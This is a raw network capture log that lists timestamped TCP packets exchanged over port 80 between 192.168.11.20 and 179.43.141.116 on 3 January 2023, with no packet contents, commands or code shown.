                                                                              Jan 3, 2023 08:16:06.586102009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586106062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.586116076 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586132050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586162090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.586277008 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.586891890 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.586910009 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587125063 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.587152958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587172031 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587186098 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587199926 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587213993 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587228060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587243080 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587255955 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587270975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587285042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587295055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.587295055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.587300062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587318897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587333918 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.587342978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.587440968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.587531090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603441000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603460073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603573084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603591919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603605986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603621006 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603635073 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603648901 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603662968 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603662968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603677034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603692055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603705883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603720903 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603732109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603732109 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603734970 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603749037 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603755951 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603763103 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603777885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603791952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603806019 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603811026 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603820086 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603854895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603868961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603880882 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603883028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603897095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603909016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603910923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603924990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603940010 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603954077 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603967905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603981972 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.603990078 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.603996038 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604010105 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604023933 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604062080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604062080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604109049 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604172945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604188919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604202986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604207039 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604217052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604231119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604244947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604259014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604273081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604286909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604300976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604327917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604341030 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604342937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604357004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604371071 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604384899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604398966 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604406118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604413033 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604427099 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604441881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604455948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604470015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604484081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604494095 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604497910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604512930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604526997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604541063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604554892 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604568958 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604583025 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604592085 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604597092 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604610920 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604624987 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604639053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604652882 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604665041 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604667902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604681969 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604696989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604711056 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604723930 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604737997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604746103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604746103 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604752064 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604767084 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604780912 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604794979 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604809046 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604823112 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604836941 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604845047 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604845047 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604851007 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604865074 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604878902 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604892015 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604893923 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604906082 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604919910 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604934931 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604942083 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.604948997 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604962111 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604975939 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.604990005 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605004072 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605017900 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605031967 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605040073 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605046034 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605060101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605073929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605087996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605097055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605097055 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605102062 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605115891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605129004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605143070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605144978 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605156898 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605170965 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605185986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605195045 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605200052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605214119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605227947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605241060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605242968 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605256081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605269909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605283976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605297089 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605310917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605324984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605339050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605353117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605366945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605381012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605393887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605408907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605417967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605417967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605422974 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605437040 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605451107 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605464935 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605465889 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605479002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605493069 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605506897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605520964 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605535030 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605547905 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605562925 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605562925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605562925 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605576992 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605591059 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605604887 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605612040 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605618000 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605632067 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605645895 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605659962 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605662107 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605674028 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605688095 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605701923 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605715990 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605730057 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605743885 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605757952 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605760098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605760098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605760098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605760098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605760098 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605772018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605784893 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605798960 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605813026 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605827093 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605840921 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605854988 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605856895 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605869055 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605882883 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605896950 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605911016 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605916023 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605925083 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605938911 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605952978 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605967045 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605979919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.605988979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605988979 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.605993986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606008053 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606021881 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606035948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606050014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606064081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606077909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606086016 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606091976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606106043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606120110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606133938 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606147051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606161118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606177092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606177092 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606178999 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606193066 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606206894 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606220961 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606225967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606225967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606225967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606225967 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606235027 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606249094 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606262922 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606275082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606275082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606275082 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606276989 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.606323004 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606372118 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606471062 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606527090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606527090 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606575966 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606625080 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.606723070 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.624943018 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625149012 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625227928 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625247002 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625261068 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625274897 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625289917 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625303984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625318050 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625332117 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625345945 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625360012 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625374079 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625380993 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625387907 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625397921 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625399113 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625399113 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625399113 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625402927 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625417948 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625432014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625446081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625459909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625473976 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625488043 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625502110 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625514984 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625529051 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625543118 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625557899 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625565052 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625606060 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625618935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625618935 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625619888 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625634909 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625648975 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625663042 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625677109 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625690937 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625705004 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625719070 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625734091 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625747919 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625750065 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625761986 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625776052 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625790119 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625803947 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625806093 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625818014 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625832081 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625847101 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625860929 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625874996 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625889063 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625895977 CET4986980192.168.11.20179.43.141.116
                                                                              Jan 3, 2023 08:16:06.625902891 CET8049869179.43.141.116192.168.11.20
                                                                              Jan 3, 2023 08:16:06.625917912 CET8049869179.43.141.116192.168.11.20
